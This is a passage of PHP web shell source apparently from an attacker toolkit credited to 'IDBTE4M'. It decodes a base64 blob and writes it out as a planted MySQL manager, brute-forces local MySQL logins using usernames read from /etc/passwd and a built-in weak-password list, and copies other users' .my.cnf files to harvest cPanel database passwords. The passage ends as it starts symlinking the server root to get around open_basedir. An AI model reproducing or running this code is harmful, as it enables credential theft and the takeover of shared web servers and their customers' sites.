FTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXblueGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3blueaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
2250$write = fwrite($f2, base64_decode($sml_db));
2251if ($write) {
2252@chmod('s/db.php', 0755);
2253}
2254echo "</br></br><center><b>GO TO : <a href='s/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
2255}
2256}
2257?>
2258<?php
2259if (isset($_GET['jak']) && ($_GET['jak'] == 'brute')) { ?>
2260<form action="?jak=brute" method="post">
2261<?php ?>
2262<html>
2263<head>
2264<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2265<body text="#4C83AF" bgcolor="#111111" font="Verdana, Arial, Helvetica, sans-serif">
2266<center>
2267<form method="POST">
2268<strong>
2269<input name="page" type="hidden" value="find">
2270</strong>
2271 <div style="width:90%">
2272
2273<div id="result">
2274<br /><br />
2275</div>
2276 <div id="mp" style="width:49%;float:left">
2277 <b>~ UserName ~</b>
2278 </div>
2279 <div id="mp" style="width:49%;float:left">
2280
2281 <b>~ PassWord ~</b>
2282 </div>
2283 <div id="mp" style="clear:both;width:49%;float:left">
2284 <textarea rows="10" class="coode" style="width:100%" name="usernames"><? if($_POST['page']=='find' && $_POST['usernames']<=''){$lines=@file("/etc/passwd");foreach($lines as $nr=>$val){$str=explode(":",$val);echo $str[0]."
2285";}}else{echo $_POST['usernames'];} ?></textarea>
2286 </div>
2287 <div id="s" style="width:2%;float:left">
2288
2289 </div>
2290 <div id="s" style="width:49%;float:left">
2291 <textarea rows="10" class="coode" style="width:100%" name="passwords"><? if($_POST['page']=='find' && $_POST['passwords']<=''){echo "123
22921234
229312345
2294123456
22951234567
229612345678
2297123456789
22981234567890
2299Password
2300pass
2301admin
2302admin123
2303admin1234
2304admin12345
2305admin123456
2306admin1234567
2307admin12345678
2308admin123456789
2309admin1234567890
2310administrator123
2311administrator1234
2312administrator12345
2313administrator123456
2314administrator1234567
2315administrator12345678
2316administrator123456789
2317administrator1234567890
2318password123
2319password1234
2320password12345
2321password123456
2322password1234567
2323password12345678
2324password123456789
2325password1234567890
2326123456
2327123123
23281234
232912345
233012369874
2331123456789
2332112233
233312345678
2334123654
2335123654789
23361234admin
2337password
2338passwd1
2339password123
2340test123
2341159357
2342147258
2343159951
2344123321
2345ADMIN
2346195159
2347147852
2348Admin
2349Administrator
2350Demo
2351User
2352user
2353useruser
2354987456321
2355741852
2356321987
2357357159
23581234566
23591234567899
2360111222
2361Administrateur
2362administrateur
23630123456
23640123456789
23650147258
2366147258
2367987654
2368963852
2369369258
2370456789
2371456321
2372456123
2373ADMIN1234
2374Admin1234
2375admin123456
2376admin1234
2377admin01234
2378000000
2379142536
2380632541
2381"; }else{echo $_POST['passwords'];} ?></textarea>
2382
2383 </div>
2384 </div>
2385 <div style="width:90%;clear:both">
2386 <br><p><input type="submit" name="submit" class="inputzbut" value="Go !" style="width:120px;height:30px;" /></p>
2387 </div>
2388 <br /><br /><br />
2389
2390</form>
2391
2392
2393<?
2394if($_POST['page']=='find')
2395{
2396echo"<div id='result'>";
2397if(isset($_POST['usernames']) && isset($_POST['passwords']))
2398{
2399
2400 $a1 = explode("
2401",$_POST['usernames']);
2402 $a2 = explode("
2403",$_POST['passwords']);
2404 $id2 = count($a2);
2405 $ok = 0;
2406 foreach($a1 as $user )
2407 {
2408 if($user !== '')
2409 {
2410 $user=trim($user);
2411 for($i=0;$i<=$id2;$i++)
2412 {
2413 $pass = trim($a2[$i]);
2414 if(@mysql_connect('localhost',$user,$pass))
2415 {
2416 if($pass !== ''){
2417 echo "<b>[ IDBTE4M ]=> </b> <b>User[<font color='green'> $user </font>] Pass[<font color='green'> $pass </font>]</b><br>";
2418 $ok++;
2419 }}
2420 }
2421 }
2422 }
2423 echo "<hr><b>You Found <font color=green>$ok</font>BY IDBTE4M</b>";
2424 exit;
2425}
2426echo'</div>';
2427}
2428}
2429?>
2430
2431<?php
2432if (isset($_GET['jak']) && ($_GET['jak'] == 'cp')) {
2433?>
2434<form action="?&jak=cp" method="post">
2435<?php
2436/**
2437 * @author: FaisaL Ahmed aka blue X
2438 * @mail: me@faialahmed.me
2439 * @Screenshot: http://prntscr.com/7c1p34
2440 * @Last Updated: 01 June 2015
2441*/
2442
2443@ini_set('display_errors',0);
2444function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
2445 $ar0=explode($marqueurDebutLien, $text);
2446 $ar1=explode($marqueurFinLien, $ar0[$i]);
2447 return trim($ar1[0]);
2448}
2449echo "<center>";
2450$d0mains = @file('/etc/named.conf');
2451$domains = scandir("/var/named");
2452
2453if ($domains or $d0mains)
2454{
2455 $domains = scandir("/var/named");
2456 if($domains) {
2457echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
2458$count=1;
2459$dc = 0;
2460$list = scandir("/var/named");
2461foreach($list as $domain){
2462if(strpos($domain,".db")){
2463$domain = str_replace('.db','',$domain);
2464$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2465$dirz = '/home/'.$owner['name'].'/.my.cnf';
2466$path = getcwd();
2467
2468if (is_readable($dirz)) {
2469copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
2470$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
2471$password=entre2v2($p,'password="','"');
2472echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
2473$dc++;
2474}
2475
2476}
2477}
2478echo '</table>';
2479$total = $dc;
2480echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
2481echo '</center>';
2482}else{
2483$d0mains = @file('/etc/named.conf');
2484 if($d0mains) {
2485echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
2486$count=1;
2487$dc = 0;
2488$mck = array();
2489foreach($d0mains as $d0main){
2490 if(@eregi('zone',$d0main)){
2491 preg_match_all('#zone "(.*)"#',$d0main,$domain);
2492 flush();
2493 if(strlen(trim($domain[1][0])) >2){
2494 $mck[] = $domain[1][0];
2495 }
2496 }
2497}
2498$mck = array_unique($mck);
2499$usr = array();
2500$dmn = array();
2501foreach($mck as $o) {
2502 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
2503 $usr[] = $infos['name'];
2504 $dmn[] = $o;
2505}
2506array_multisort($usr,$dmn);
2507$dt = file('/etc/passwd');
2508$passwd = array();
2509foreach($dt as $d) {
2510 $r = explode(':',$d);
2511 if(strpos($r[5],'home')) {
2512 $passwd[$r[0]] = $r[5];
2513 }
2514}
2515$l=0;
2516$j=1;
2517foreach($usr as $r) {
2518$dirz = '/home/'.$r.'/.my.cnf';
2519$path = getcwd();
2520if (is_readable($dirz)) {
2521copy($dirz, ''.$path.'/'.$r.'.txt');
2522$p=file_get_contents(''.$path.'/'.$r.'.txt');
2523$password=entre2v2($p,'password="','"');
2524echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
2525$dc++;
2526 flush();
2527 $l=$l?0:1;
2528 $j++;
2529 }
2530 }
2531 }
2532echo '</table>';
2533$total = $dc;
2534echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
2535echo '</center>';
2536
2537}
2538}else{
2539echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
2540}
2541
2542echo "</body></html>";
2543}
2544?>
2545<?php
2546if (isset($_GET['jak']) && ($_GET['jak'] == 'sym')) {
2547?>
2548<form action="?path=<?php echo $path; ?>&jak=sym" method="post">
2549 <center><h2>Domain Viewer</h2></center><br><br>
2550 <?php
2551 function openBaseDir()
2552{
2553$openBaseDir = ini_get("open_basedir");
2554if (!$openBaseDir)
2555 {
2556 $openBaseDir = '<font color="green">OFF</font>';
2557 }
2558 else
2559 {
2560 $openBaseDir = '<font color="red">ON</font>';
2561 }
2562 return $openBaseDir;
2563}
2564
2565
2566echo '
2567 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
2568 <td height="100" align="left" class="td1">';
2569 $pg = basename(__FILE__);
2570 $safe_mode = @ini_get('safe_mode');
2571 $dir = @getcwd();
2572 ////////////////////////////////////////////////////
2573 // LET'S PLAY ~
2574 ##.htaccess
2575@mkdir('jaks',0777);
2576@symlink("/","jaks/!");
